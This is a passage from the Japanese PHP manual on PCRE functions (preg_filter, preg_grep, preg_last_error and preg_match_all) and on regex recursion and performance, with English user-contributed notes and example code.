      )))                           (?#close nested-but-logically-the-some-level subpatterns)
    )
  )*
)";

$full_okay_text = "5( 2a + [b - c] ) - a * ( 2b - {c * 3<b - (c + a) > } )";
$full_bad_text = "5[ 2a + [b - c} ) - a * ( 2b - [c * 3(b - c + a) ) ) }";

echo "Full pattern results:\n";
var_dump(preg_match("/^$full_pattern\$/x",$simple_okay_text));
var_dump(preg_match("/^$full_pattern\$/x",$full_okay_text));
var_dump(preg_match("/^$full_pattern\$/x",$full_bad_text));
echo "\n----------\n";

/* some brackets and quotes */
$extrafull_pattern = "(             (?#root pattern)
  (                                 (?#text or expression)
    (?>[^\\(\\)\\{\\}\\[\\]<>'\"]+) (?#text not contains brackets and quotes)
    |
    (
      ([\\(\\{\\[<'\"])             (?#start bracket)
        (?(?<=\\()(?-4)\\)|           (?#if normal)
        (?(?<=\\{)(?-4)\\}|           (?#if coursed)
        (?(?<=\\[)(?-4)\\]|           (?#if squared)
        (?(?<=\\<)(?-4)\\>|           (?#if tag)
        ['\"]                         (?#else so if static)
      ))))                          (?#close nested-but-logically-the-some-level subpatterns)
    )
  )*
)";

$extrafull_okay_text = "5( 2a + ['b' - c] ) - a * ( 2b - \"{c * 3<b - (c + a) > }\" )";
$extrafull_bad_text = "5( 2a + ['b' - c] ) - a * ( 2b - \"{c * 3<b - (c + a) > }\" )";

echo "Extra-full pattern results:\n";
var_dump(preg_match("/^$extrafull_pattern\$/x",$simple_okay_text));
var_dump(preg_match("/^$extrafull_pattern\$/x",$full_okay_text));
var_dump(preg_match("/^$extrafull_pattern\$/x",$extrafull_okay_text));
var_dump(preg_match("/^$extrafull_pattern\$/x",$extrafull_bad_text));

/*

Outputs:

Simple pattern results:
int(0)
int(0)

----------
Full pattern results:
int(0)
int(0)
int(0)

----------
Extra-full pattern results:
int(0)
int(0)
int(0)
int(0)

*/

?>
horvath at webarticum dot hu 15-Apr-2013 12:07
With the (?R) item you can link only to the full pattern, because it quasi equals to (?0). You can not use anchors, asserts etc., and you can only check that string CONTAINS a valid hierarchy or not.

This is wrong: ^\(((?>[^()]+)|(?R))*\)$

However, you can bracketing the full expression, and replace (?R) to the relative link (?-2). This make it reusable. So you can check complex expressions, for example:
<?php

$bracket_system = "(\\(((?>[^()]+)|(?-2))*\\))"; // (reuseable)
$bracket_systems = "((?>[^()]+)?$bracket_system)*(?>[^()]+)?"; // (reuseable)
$equation = "$bracket_systems=$bracket_systems"; // Both side of the equation must be contain valid bracket systems
var_dump(preg_match("/^$equation\$/","a*(a-(2a+2))=4(a+3)-2(a-(a-2))")); // Outputs 'int(1)'
var_dump(preg_match("/^$equation\$/","a*(a-(2a+2)=4(a+3)-2(a-(a-2)))")); // Outputs 'int(0)'

?>

You can also catch multibyte quotes with the 'u' modifier (if you use UTF-8), eg:
<?php

$quoted = "(≫((?>[^≫≪]+)|(?-2))*≪)"; // (reuseable)
$prompt = "[\\w ]+: $quoted";
var_dump(preg_match("/^$prompt\$/u","Your name: ≫write here≪")); // Outputs 'int(1)'

?>
Daniel Klein 06-Jun-2012 04:18
The order of non-mutually exclusive alternatives within a recursed sub-pattern is important.
<?php
$pattern = '/^(?<octet>[01]?\d?\d|2[0-4]\d|25[0-5])(?:\.(?P>octet)){3}$/';
?>

You might expect that this pattern will match any IP address in dotted-decimal notation (e.g. '123.45.67.89'). The pattern is intended to match four octets in the following ranges: 0-9, 00-99 & 000-255, each separated by a single dot. However, only the first octet can include values from 200-255; the remainder can only have values less than 200. The reason for this is that if the rest of the pattern fails, recursion is not back-tracked into to find an alternative match. The first part of the sub-pattern will match the first two digits of any octet from 200-255. The rest of the pattern will then fail because the third digit in the octet does not match either '\.' or '$'.

<?php
var_export(preg_match($pattern, '255.123.45.67')); // 1 (true)
var_export(preg_match($pattern, '255.200.45.67')); // 0 (false)
var_export(preg_match($pattern, '255.123.45.200')); // 0 (false)
?>

The correct pattern is:
<?php
$pattern = '/^(?<octet>25[0-5]|2[0-4]\d|[01]?\d?\d)(?:\.(?P>octet)){3}$/';
?>

Note that the first two alternatives are mutually exclusive so their order is unimportant. The third alternative, however, is not mutually exclusive but it will now only match when the first two fail.

<?php
var_export(preg_match($pattern, '255.123.45.67')); // 1 (true)
var_export(preg_match($pattern, '255.200.45.67')); // 1 (true)
var_export(preg_match($pattern, '255.123.45.200')); // 1 (true)
?>
Onyxagargaryll 03-Mar-2011 04:49
Here's an approach to create a multidimensional array according to a string's delimiters, i.e. we want to analyze...

"some text (aaa(b(c1)(c2)d)e)(test) more text"

... as multidimensional layers.

<?php
$string = "some text (aaa(b(c1)(c2)d)e)(test) more text";

/*
 * Analyses the string multidimensionally by its opening and closing delimiters
 */
function recursiveSplit($string, $layer) {
    preg_match_all("/\((([^()]*|(?R))*)\)/",$string,$matches);
    // iterate thru matches and continue recursive split
    if (count($matches) > 1) {
        for ($i = 0; $i < count($matches[1]); $i++) {
            if (is_string($matches[1][$i])) {
                if (strlen($matches[1][$i]) > 0) {
                    echo "<pre>Layer ".$layer.":   ".$matches[1][$i]."</pre><br />";
                    recursiveSplit($matches[1][$i], $layer + 1);
                }
            }
        }
    }
}

recursiveSplit($string, 0);

/*

Output:

Layer 0:   aaa(b(c1)(c2)d)e

Layer 1:   b(c1)(c2)d

Layer 2:   c1

Layer 2:   c2

Layer 0:   test
*/
?>
jonah at nucleussystems dot com 21-Dec-2010 06:18
An unexpected behavior came up that introduced a very hard-to-track bug in some code I was working on.  It has to do with the preg_match_all PREG_OFFSET_CAPTURE flag.  When you capture the offset of a sub-match, it's offset is given _relative_ to it's parent.  For example, if you extract the value between < and > recursively in this string:

<this is a <string>>

You will get an array that looks like this:

Array
(
    [0] => Array
    (
        [0] => Array
        (
            [0] => <this is a <string>>
            [1] => 0
        )
        [1] => Array
        (
            [0] => this is a <string>
            [1] => 1
        )
    )
    [1] => Array
    (
        [0] => Array
        (
            [0] => <string>
            [1] => 0
        )
        [1] => Array
        (
            [0] => string
            [1] => 1
        )
    )
)

Notice that the offset in the last index is one, not the twelve we expected.  The best way to solve this problem is to run over the results with a recursive function, adding the parent's offset.
emanueledelgrande at email dot it 09-Jan-2010 03:47
The recursion in regular expressions is the only way to allow the parsing of HTML code with nested tags of indefinite depth.
It seems it's not yet a spreaded practice; not so much contents are available on the web regarding regexp recursion, and until now no user contribute notes have been published on this manual page.
I made several tests with complex patterns to get tags with specific attributes or namespaces, studying the recursion of a subpattern only instead of the full pattern.
Here's an example that may power a fast LL parser with recursive descent (http://en.wikipedia.org/wiki/Recursive_descent_parser):

$pattern = "/<([\w]+)([^>]*?) (([\s]*\/>)| (>((([^<]*?|<\!\-\-.*?\-\->)| (?R))*)<\/\\1[\s]*>))/xsm";

The performances of a preg_match or preg_match_all function call over an avarage (x)HTML document are quite fast and may drive you to chose this way instead of classic DOM object methods, which have a lot of limits and are usually poor in performance with their workarounds, too.
I post a sample application in a brief function (easy to be turned into OOP), which returns an array of objects:

<?php
// test function:
function parse($html) {
    // I have split the pattern in two lines not to have long lines alerts by the PHP.net form:
    $pattern = "/<([\w]+)([^>]*?)(([\s]*\/>)|".
    "(>((([^<]*?|<\!\-\-.*?\-\->)|(?R))*)<\/\\1[\s]*>))/sm";
    preg_match_all($pattern, $html, $matches, PREG_OFFSET_CAPTURE);
    $elements = array();

    foreach ($matches[0] as $key => $match) {
        $elements[] = (object)array(
            'node' => $match[0],
            'offset' => $match[1],
            'tagname' => $matches[1][$key][0],
            'attributes' => isset($matches[2][$key][0]) ? $matches[2][$key][0] : '',
            'omittag' => ($matches[4][$key][1] > -1), // boolean
            'inner_html' => isset($matches[6][$key][0]) ? $matches[6][$key][0] : ''
        );
    }
    return $elements;
}

// random html nodes as example:
$html = <<<EOD
<div id="airport">
    <div geo:position="1.234324,3.455546" class="index">
        <!-- comment test:
        <div class="index_top" />
        -->
        <div class="element decorator">
                <ul class="lister">
                    <li onclick="javascript:item.showAttribute('desc');">
                        <h3 class="outline">
                            <a href="http://php.net/manual/en/regexp.reference.recursive.php" onclick="openPopup()">Link</a>
                        </h3>
                        <div class="description">Sample description</div>
                    </li>
                </ul>
        </div>
        <div class="clean-line"></div>
    </div>
</div>
<div id="omittag_test" rel="rootChild" />
EOD;

// application:
$elements = parse($html);

if (count($elements) > 0) {
    echo "Elements found: <b>".count($elements)."</b><br />";

    foreach ($elements as $element) {
        echo "<p>Tpl node: <pre>".htmlentities($element->node)."</pre>
        Tagname: <tt>".$element->tagname."</tt><br />
        Attributes: <tt>".$element->attributes."</tt><br />
        Omittag: <tt>".($element->omittag ? 'true' : 'false')."</tt><br />
        Inner HTML: <pre>".htmlentities($element->inner_html)."</pre></p>";
    }
}
?>


パフォーマンス

パターンに記述可能な要素のうち、幾つかの要素は、他の要素よりも 効率的に処理されます。 (a|e|i|o|u) のような選択肢の集合よりも [aeiou] のような文字クラスの方が効率的です。一般に、構文が 最も単純なものが、たいてい最も効率が良くなります。Jeffrey Friedl の本には、正規表現の性能を向上させる最適化について 様々な検討が行われています。

パターンが .* で始まり、PCRE_DOTALL オプションを設定した場合、対象文字列の始端でしかマッチできないため、 PCRE は、暗黙のうちにそのパターンを固定パターンとみなします。しかし、 PCRE_DOTALL を設定しない場合、メタ文字 . が改行にマッチせず、 対象文字列が改行を含む場合、パターンは文字列の始端からではなく各改行の 直後の文字からマッチする可能性があるため、PCRE は この最適化を行うことができません。 例えば、パターン

      (.*) second
を、対象文字列 "first\nand second"（ここで、\n は改行文字を意味します）に マッチングさせます。 1 番目のキャプチャ文字列は、"and" になります。 このような動作をするには、 PCRE は対象文字列の各改行文字の後から マッチングを繰り返し行う必要があります。

このようなパターンを、改行を含まない対象文字列に適用する場合は、 PCRE_DOTALL を設定するか、固定パターンであることを明示的に示すためにパターンを ^.* で開始すると最高の性能が得られます。そうすることで、PCRE が対象文字列の改行を探し、そこからマッチングが再び始められることを 防止します。

制限のない繰り返しをネストするようなパターンについては注意が必要です。 そのようなパターンが、マッチが成功し得ない文字列に適用された場合には、 実行に長い時間を要します。

      (a+)*
というパターンを考えてみましょう。

このパターンが "aaaa" にマッチし得る方法は 33 通りもあります（つまり、 * による繰り返しは 0, 1, 2, 3 もしくは 4 回の繰り返しにマッチし、 0 回以外のそれぞれの場合について、 + による繰り返しは様々な回数分 マッチします)〔訳注：a 1文字の 4 回繰り返しとか、 a 1文字とa 3文字の 組合せとかを意味する〕。この数は、文字列が長くなるにつれて急激に 増大します。このパターンの後ろに、マッチが失敗するような別のパターンが 続いていて、パターン全体としてマッチが失敗してしまう場合、PCREは、基本的に 取り得るすべての選択肢を調べるため、非常に長い時間がかかります。

      (a+)*b
のように単一の文字リテラルが最後にある場合には最適化が行われます。 標準のマッチング手順に着手する前に、PCRE は対象文字列の後方に "b" があるかどうかを調べます。無い場合には、直ちにマッチは失敗します。 文字リテラルが最後にない場合には、この最適化は行われません。
      (a+)*\d
というパターンと上に挙げたパターンの動作を比較してみましょう。 "a" 文字だけが連続する行に適用した場合、前者のパターンでは、 ほぼ瞬間的に失敗と判定されます。一方、後者のパターンでは、 文字列の長さがおよそ 20 文字を超えると、かなりの時間がかかります。

User Contributed Notes

There are no user contributed notes for this page.


PCRE 関数

目次

  • preg_filter — 正規表現による検索と置換を行う
  • preg_grep — パターンにマッチする配列の要素を返す
  • preg_last_error_msg — 最後に実行した PCRE 正規表現に関するエラーメッセージを返す
  • preg_last_error — 直近の PCRE 正規表現処理のエラーコードを返す
  • preg_match_all — 繰り返し正規表現検索を行う
  • preg_match — 正規表現によるマッチングを行う
  • preg_quote — 正規表現文字をクオートする
  • preg_replace_callback_array — 正規表現検索を行い、コールバック関数を使用して置換を行う
  • preg_replace_callback — 正規表現検索を行い、コールバック関数を使用して置換を行う
  • preg_replace — 正規表現検索および置換を行う
  • preg_split — 正規表現で文字列を分割する

User Contributed Notes

Svoop 10-Feb-2009 05:43
I have written a short introduction and a colorful cheat sheet for Perl Compatible Regular Expressions (PCRE):

http://www.bitcetera.com/en/techblog/2008/04/01/regex-in-a-nutshell/
stronk7 at moodle dot org 13-Sep-2007 01:42
One comment about 5.2.x and the pcre.backtrack_limit:

Note that this setting wasn't present under previous PHP releases and the behaviour (or limit) under those releases was, in practise,  higher so all these PCRE functions were able to "capture" longer strings.

With the arrival of the setting, defaulting to 100000 (less than 100K), you won't be able to match/capture strings over that size using, for example "ungreedy" modifiers.

So, in a lot of situations, you'll need to raise that (very small IMO) limit.

The worst part is that PHP simply won't match/capture those strings over pcre.backtrack_limit and will it be 100% silent about that (I think that throwing some NOTICE/WARNING if raised could help a lot to developers).

There is a lot of people suffering this changed behaviour from I've read on forums, bugs and so on).

Hope this note helps, ciao :-)
steve at stevedix dot de 20-Jul-2004 05:17
Something to bear in mind is that regex is actually a declarative programming language like prolog : your regex is a set of rules which the regex interpreter tries to match against a string.   During this matching, the interpreter will assume certain things, and continue assuming them until it comes up against a failure to match, which then causes it to backtrack.  Regex assumes "greedy matching" unless explicitly told not to, which can cause a lot of backtracking.  A general rule of thumb is that the more backtracking, the slower the matching process.

It is therefore vital, if you are trying to optimise your program to run quickly (and if you can't do without regex), to optimise your regexes to match quickly.

I recommend the use of a tool such as "The Regex Coach" to debug your regex strings.

http://weitz.de/files/regex-coach.exe (Windows installer) http://weitz.de/files/regex-coach.tgz (Linux tar archive)


正規表現による検索と置換を行う

  • ≪ PCRE 関数
  • preg_grep ≫
  • PHP Manual
  • PCRE 関数
  • 正規表現による検索と置換を行う

preg_filter

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

preg_filter — 正規表現による検索と置換を行う

説明

preg_filter ( string|array $pattern , string|array $replacement , string|array $subject , int $limit = -1 , int &$count = null ) : string|array|null

preg_filter() は preg_replace() と似ていますが、マッチした結果 (を変換したもの) のみを返します。 この関数の挙動の詳細については preg_replace() のドキュメントを参照ください。

返り値

subject が配列の場合は配列を、それ以外の場合は文字列を返します。

マッチする結果が見つからなかったりエラーが発生したりした場合は、 subject が array なら空の配列を返し、そうでなければ null を返します。

例

例1 preg_filter() と preg_replace() の比較

<?php
$subject = array('1', 'a', '2', 'b', '3', 'A', 'B', '4');
$pattern = array('/\d/', '/[a-z]/', '/[1a]/');
$replace = array('A:$0', 'B:$0', 'C:$0');

echo "preg_filter returns\n";
print_r(preg_filter($pattern, $replace, $subject));

echo "preg_replace returns\n";
print_r(preg_replace($pattern, $replace, $subject));
?>

上の例の出力は以下となります。

preg_filter returns
Array
(
    [0] => A:C:1
    [1] => B:C:a
    [2] => A:2
    [3] => B:b
    [4] => A:3
    [7] => A:4
)
preg_replace returns
Array
(
    [0] => A:C:1
    [1] => B:C:a
    [2] => A:2
    [3] => B:b
    [4] => A:3
    [5] => A
    [6] => B
    [7] => A:4
)

参考

  • PCRE のパターン
  • preg_quote() - 正規表現文字をクオートする
  • preg_replace() - 正規表現検索および置換を行う
  • preg_replace_callback() - 正規表現検索を行い、コールバック関数を使用して置換を行う
  • preg_grep() - パターンにマッチする配列の要素を返す
  • preg_last_error() - 直近の PCRE 正規表現処理のエラーコードを返す

User Contributed Notes

bienvenunet at yahoo dot com 27-Oct-2017 09:10
If you don't want to actually replace the matches, just filter the array to them, make the replacement parameter '$0'.

<?php
$subject = array('1', 'a', '2', 'b', '3', 'A', 'B', '4');
$result = preg_filter('/\d/', '$0', $subject);  // ['1','2','3','4']
?>
forsoap at gmail dot com 20-Oct-2016 01:14
For those who read manual not in English and figure out that example code returns not the same result as in documentation

You need put in example patter modifier "u" to get same result:

<?php
$subject = array('1', 'а', '2', 'б', '3', 'А', 'Б', '4');
// Added "u"
$pattern = array('/\d/u', '/[а-я]/u', '/[1а]/u');
$replace = array('А:$0', 'Б:$0', 'В:$0');
?>
fgmhhfg at gmail dot com 04-Mar-2014 10:44
As for the php 5.5.3 version, the example  turn out like:
Array
(
       [0] => A:1
       [1] => B:a
       ...
)
Anonymous 04-Mar-2014 10:36
As for the php 5.5.3 version, the example will turn out like:
Array
(
       [0]=>A:1
       [1]=>B:a
       ...
)
sajina_99 at hotmail dot de 25-Sep-2011 07:07
As I had to work with PHP5.2.X and needed preg_filter I wrote a quick and dirty workaround.

<?php
  if (!function_exists('preg_filter')) {

    function preg_filter($pattern, $replace, $subject, $limit = -1 , &$count = null) {

      if(!is_array($subject)) {
        $noArray = 1 ;
        $subject = array($subject);
      }

      $preg = preg_replace($pattern, $replace, $subject, $limit,  &$count);

      $diff = array_diff($preg, $subject);

      if($noArray == 1) $diff = implode($diff) ;

      return $diff ;

    }

  }
?>
MrBertie 31-Dec-2010 02:35
Another way to filter an array, and simply return the matching items: preg_grep!


パターンにマッチする配列の要素を返す

  • ≪ preg_filter
  • preg_last_error_msg ≫
  • PHP Manual
  • PCRE 関数
  • パターンにマッチする配列の要素を返す

preg_grep

(PHP 4, PHP 5, PHP 7, PHP 8)

preg_grep — パターンにマッチする配列の要素を返す

説明

preg_grep ( string $pattern , array $array , int $flags = 0 ) : array|false

array 配列の要素のうち、 指定した pattern にマッチするものを要素とする配列を返します。

パラメータ

pattern

検索するパターンを表す文字列。

array

入力の配列。

flags

PREG_GREP_INVERT を設定すると、この関数は 与えた pattern にマッチ しない 要素を返します。

返り値

array 配列のキーを使用した配列を返します。

例

例1 preg_grep() の例

<?php
// すべての浮動小数点数を含む配列要素を返す
$fl_array = preg_grep("/^(\d+)?\.\d+$/", $array);
?>

参考

  • PCRE のパターン
  • preg_quote() - 正規表現文字をクオートする
  • preg_match_all() - 繰り返し正規表現検索を行う
  • preg_filter() - 正規表現による検索と置換を行う
  • preg_last_error() - 直近の PCRE 正規表現処理のエラーコードを返す

User Contributed Notes

amolocaleb at gmail dot com 24-Jun-2018 08:24
This may be obvious to most experienced developers,but just in case its not,when using preg_grep to check for whitelisted items ,one must be very careful to explicitly define the regex boundaries or it will fail
<?php
$whitelist = ["home","dashboard","profile","group"];
$possibleUserInputs = ["homd","hom","ashboard","settings","group"];
foreach($possibleUserInputs as  $input)
{
     if(preg_grep("/$input/i",$whitelist)
    {
         echo $input." whitelisted";
    }else{
         echo $input." flawed";
    }

}
?>
This results in:

homd flawed
hom whitelisted
ashboard whitelisted
settings flawed
group whitelisted

I think this is because if boundaries are not explicitly defined,preg_grep looks for any instance of  the substring in the whole array and returns true if found.This is not what we want,so boundaries must be defined.

<?php
foreach($possibleUserInputs as  $input)
{
     if(preg_grep("/^$input$/i",$whitelist)
    {
         echo $input." whitelisted";
    }else{
         echo $input." flawed";
    }

}
?>
this results in:
homd flawed
hom flawed
ashboard flawed
settings flawed
group whitelisted
in_array() will also give the latter results but will require few tweaks if say,the search is to be case insensitive,which is always the case 70% of the time
Timo Klemm 15-Mar-2017 09:26
An even shorter way to run a match on the array's keys rather than the values:

<?php
function preg_grep_keys($pattern, $input, $flags = 0) {
    return array_flip( preg_grep($pattern, array_flip($input), $flags ) );
}
?>
Daniel Klein 14-Mar-2013 10:54
A shorter way to run a match on the array's keys rather than the values:

<?php
function preg_grep_keys($pattern, $input, $flags = 0) {
    return array_intersect_key($input, array_flip(preg_grep($pattern, array_keys($input), $flags)));
}
?>
keithbluhm at gmail dot com 21-Jan-2010 03:56
Run a match on the array's keys rather than the values:

<?php

function preg_grep_keys( $pattern, $input, $flags = 0 )
{
    $keys = preg_grep( $pattern, array_keys( $input ), $flags );
    $vals = array();
    foreach ( $keys as $key )
    {
        $vals[$key] = $input[$key];
    }
    return $vals;
}

?>


最後に実行した PCRE 正規表現に関するエラーメッセージを返す

  • ≪ preg_grep
  • preg_last_error ≫
  • PHP Manual
  • PCRE 関数
  • 最後に実行した PCRE 正規表現に関するエラーメッセージを返す

preg_last_error_msg

(PHP 8)

preg_last_error_msg — 最後に実行した PCRE 正規表現に関するエラーメッセージを返す

説明

preg_last_error_msg ( ) : string

最後に実行した PCRE 正規表現に関するエラーメッセージを返します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合はエラーメッセージを返します。 エラーが起きていない場合は、"No error" を返します。

例

例1 preg_last_error_msg() example

<?php

preg_match('/(?:\D+|<\d+>)*[!?]/', 'foobar foobar foobar');

if (preg_last_error() !== PREG_NO_ERROR) {
    echo preg_last_error_msg();
}

?>

上の例の出力は以下となります。

Backtrack limit exhausted

参考

  • preg_last_error() - 直近の PCRE 正規表現処理のエラーコードを返す

User Contributed Notes

There are no user contributed notes for this page.


直近の PCRE 正規表現処理のエラーコードを返す

  • ≪ preg_last_error_msg
  • preg_match_all ≫
  • PHP Manual
  • PCRE 関数
  • 直近の PCRE 正規表現処理のエラーコードを返す

preg_last_error

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

preg_last_error — 直近の PCRE 正規表現処理のエラーコードを返す

説明

preg_last_error ( ) : int

直近の PCRE 正規表現処理のエラーコードを返します。

例1 preg_last_error() の例

<?php

preg_match('/(?:\D+|<\d+>)*[!?]/', 'foobar foobar foobar');

if (preg_last_error() == PREG_BACKTRACK_LIMIT_ERROR) {
    echo 'Backtrack limit was exhausted!';
}

?>

上の例の出力は以下となります。

Backtrack limit was exhausted!

返り値

以下の定数のいずれかを返します (別のページで説明します)。

  • PREG_NO_ERROR
  • PREG_INTERNAL_ERROR
  • PREG_BACKTRACK_LIMIT_ERROR (pcre.backtrack_limit も参照ください)
  • PREG_RECURSION_LIMIT_ERROR (pcre.recursion_limit も参照ください)
  • PREG_BAD_UTF8_ERROR
  • PREG_BAD_UTF8_OFFSET_ERROR (PHP 5.3.0 以降)
  • PREG_JIT_STACKLIMIT_ERROR (PHP 7.0.0 以降)

参考

  • preg_last_error_msg() - 最後に実行した PCRE 正規表現に関するエラーメッセージを返す

User Contributed Notes

nicoSWD 09-Oct-2020 05:43
PHP 8 has a native function to retrieve the actual error message, so these helper functions are no longer necessary.

https://www.php.net/preg_last_error_msg

<?php

preg_match('/(?:\D+|<\d+>)*[!?]/', 'foobar foobar foobar');

if (preg_last_error() !== PREG_NO_ERROR) {
    echo preg_last_error_msg(); // Prints "Backtrack limit exhausted"
}

?>
zerodahero at gmail dot com 25-Feb-2020 12:51
In PHP 7.3+, and depending on the environment, there may be other constants that aren't ints which will cause errors with array_flip. I opted to go with a RegexException and a filter on gk's note.

<?php

class RegexException extends \Exception {

    public $errorCode;

    public function __construct(
        int $errorCode,
        string $additionalMessage = null
    ) {
        $this->errorCode = $errorCode;

        $errorMessage = $this->getErrorString($errorCode) ?? 'Unknown regex error';
        $additionalMessage = $additionalMessage ? " $additionalMessage" : '';

        parent::__construct("Regex error thrown: $errorMessage." . $additionalMessage);
    }

    /**
     * Gets an error string (const name) for the PCRE error code
     *
     * @param int $errorCode
     *
     * @return string|null
     */
    private function getErrorString(int $errorCode): ?string
    {
        $pcreConstants = get_defined_constants(true)['pcre'] ?? [];

        /*
         * NOTE: preg_last_error() returns an int, but there are constants
         * in PHP 7.3+ that are strings, bools, or otherwise. We can pretty
         * safely filter out the non-integers to fetch the appropriate
         * error constant name.
         */
        $pcreConstants = array_filter($pcreConstants, function ($code) {
            return is_int($code);
        });

        $errorStrings = array_flip($pcreConstants);

        return $errorStrings[$errorCode] ?? null;
    }

Usage:

throw new RegexException(preg_last_error());
Daniel Klein 18-Aug-2019 09:37
Here is a correction to one of the previous "get error message" snippets. It filters out the non-error codes which stops "Warning:  array_flip(): Can only flip STRING and INTEGER values!" from being emitted due to ["PCRE_JIT_SUPPORT"]=>bool(true):

<?php
echo array_flip(array_filter(get_defined_constants(true)['pcre'], function ($value) {
  return substr($value, -6) === '_ERROR';
}, ARRAY_FILTER_USE_KEY))[preg_last_error()];
Vladimir Valikaev 12-Aug-2019 04:01
Getting error as text (small update):

<?php
echo array_flip(array_filter(get_defined_constants(true)['pcre'], function($v) { return is_integer($v); }))[preg_last_error()];
Anonymous 06-Aug-2019 07:59
If you use T-Regx library, to get the last constant, you can use

<?php

echo preg_last_error_constant(); // 'PREG_BAD_UTF8_ERROR'
eu at ericruiz dot com dot br 24-Feb-2017 11:03
Take it into account before use this function.

My php --version
PHP 5.6.29 (cli) (built: Dec  8 2016 09:19:46)
Copyright (c) 1997-2016 The PHP Group
Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend Technologies

On Linux Fedora 23 4.8.13-100.fc23.x86_64 #1 SMP Fri Dec 9 14:51:40 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

<?php
// @see http://stackoverflow.com/questions/4440626/how-can-i-validate-regex

// returns true because  there is no opening "(" for the closing ")"
var_dump(preg_match('~InvalidRegular)Expression~', null) === false);

// this SHOULD be something different from 0, but...
var_dump(preg_last_error());
?>
gk at anuary dot com 11-Jan-2014 02:21
In PHP 5.5 and above, getting the error message is as simple as:

<?php
echo array_flip(get_defined_constants(true)['pcre'])[preg_last_error()];
andre at koethur dot de 23-Jun-2013 09:00
Just an addition to my previous note: In unicode mode (with "u" modifier), PREG_BAD_UTF8_ERROR only reflects errors in the subject string. If the pattern itself contains invalid characters, preg_match() (or preg_match_all()) returns false but preg_last_error() returns 0 indicating PREG_NO_ERROR. Instead, php issues a warning: "preg_match(): Compilation failed: invalid UTF-8 string at offset 0"
andre at koethur dot de 18-Jun-2013 12:37
Here is a more advanced function to convert an error code to text:

<?php

function preg_errtxt($errcode)
{
    static $errtext;

    if (!isset($errtxt))
    {
        $errtext = array();
        $constants = get_defined_constants(true);
        foreach ($constants['pcre'] as $c => $n) if (preg_match('/_ERROR$/', $c)) $errtext[$n] = $c;
    }

    return array_key_exists($errcode, $errtext)? $errtext[$errcode] : NULL;
}

?>
johan at bluemoonit dot net 24-May-2010 05:20
The above function pcre_error_deocde [sic] is not correct - not all of the used constants are errors constants. For example, when the error is actually PREG_BAD_UTF8_ERROR, the function outputs the text for PREG_SPLIT_OFFSET_CAPTURE.


繰り返し正規表現検索を行う

  • ≪ preg_last_error
  • preg_match ≫
  • PHP Manual
  • PCRE 関数
  • 繰り返し正規表現検索を行う

preg_match_all

(PHP 4, PHP 5, PHP 7, PHP 8)

preg_match_all — 繰り返し正規表現検索を行う

説明

preg_match_all ( string $pattern , string $subject , array &$matches = null , int $flags = 0 , int $offset = 0 ) : int|false|null

subject を検索し、 pattern に指定した正規表現にマッチした すべての文字列を、flags で指定した 順番で、matches に代入します。

正規表現にマッチすると、そのマッチした文字列の後から 検索が続行されます。

パラメータ

pattern

検索するパターンを表す文字列。

subject

入力文字列。

matches

マッチしたすべての内容を含む、 flags で指定した形式の多次元配列。

flags

以下のフラグの組み合わせ (PREG_PATTERN_ORDER を PREG_SET_ORDER と組み合わせて使用することは 無意味ですので注意してください)。

PREG_PATTERN_ORDER

$matches[0] はパターン全体にマッチした文字列の配列、 $matches[1] は第 1 のキャプチャ用サブパターンにマッチした文字列の配列、 といった順番となります。

<?php
preg_match_all("|<[^>]+>(.*)</[^>]+>|U",
    "<b>example: </b><div align=left>this is a test</div>",
    $out, PREG_PATTERN_ORDER);
echo $out[0][0] . ", " . $out[0][1] . "\n";
echo $out[1][0] . ", " . $out[1][1] . "\n";
?>

上の例の出力は以下となります。

<b>example: </b>, <div align=left>this is a test</div>
example: , this is a test

$out[0] はパターン全体にマッチした文字列の配列を有しており、 $out[1] はタグで囲まれた文字列の配列を有しています。

パターンに名前付きサブパターンが含まれる場合は、$matches にはサブパターン名のキーも含まれるようになります。

サブパターンの名前が重複している場合は、いちばん右側のサブパターンだけが $matches[NAME] に格納されます。

<?php
preg_match_all(
    '/(?J)(?<match>foo)|(?<match>bar)/',
    'foo bar',
    $matches,
    PREG_PATTERN_ORDER
);
print_r($matches['match']);
?>

上の例の出力は以下となります。

Array
(
    [0] =>
    [1] => bar
)

PREG_SET_ORDER

$matches[0] は 1 回目のマッチングでキャプチャした値の配列、 $matches[1] は 2 回目のマッチングでキャプチャした値の配列、 といった順序となります。

<?php
preg_match_all("|<[^>]+>(.*)</[^>]+>|U",
    "<b>example: </b><div align=\"left\">this is a test</div>",
    $out, PREG_SET_ORDER);
echo $out[0][0] . ", " . $out[0][1] . "\n";
echo $out[1][0] . ", " . $out[1][1] . "\n";
?>

上の例の出力は以下となります。

<b>example: </b>, example:
<div align="left">this is a test</div>, this is a test

PREG_OFFSET_CAPTURE

このフラグを設定した場合、各マッチに対応する文字列のオフセットも(バイト単位で)返されます。 これは、matches の値を配列の配列に変更することに注意してください。 その配列のすべての要素は、 オフセット 0 で一致した文字列 およびその文字列のオフセット 1 での subject へのオフセットからなります。

<?php
preg_match_all('/(foo)(bar)(baz)/', 'foobarbaz', $matches, PREG_OFFSET_CAPTURE);
print_r($matches);
?>

上の例の出力は以下となります。

Array
(
    [0] => Array
        (
            [0] => Array
                (
                    [0] => foobarbaz
                    [1] => 0
                )

        )

    [1] => Array
        (
            [0] => Array
                (
                    [0] => foo
                    [1] => 0
                )

        )

    [2] => Array
        (
            [0] => Array
                (
                    [0] => bar
                    [1] => 3
                )

        )

    [3] => Array
        (
            [0] => Array
                (
                    [0] => baz
                    [1] => 6
                )

        )

)

PREG_UNMATCHED_AS_NULL

このフラグが渡されると、 マッチしなかったサブパターンがあった場合 null として通知されます。 このフラグが渡されない場合、 空の string として通知されます。

flags を指定しない場合は、 PREG_PATTERN_ORDER が指定されたことになります。

offset

通常、検索は対象文字列の先頭から開始されます。 オプションのパラメータ offset を使用して 検索の開始位置を (バイト単位で) 指定することも可能です。

注意:

offset を用いるのと、 substr($subject, $offset) を preg_match_all()の対象文字列として指定するのとは 等価ではありません。 これは、pattern には、 ^, $ や (?<=x) のような言明を含めることができるためです。 これに関する例については、 preg_match() を参照してください。

返り値

パターンがマッチした総数を返します（ゼロとなる可能性もあります）。 または、エラーが発生した場合に false を返します。

変更履歴

バージョン | 説明
7.2.0 | $flags パラメータが PREG_UNMATCHED_AS_NULL をサポートしました。

例

例1 テキストからすべての電話番号を得る

<?php
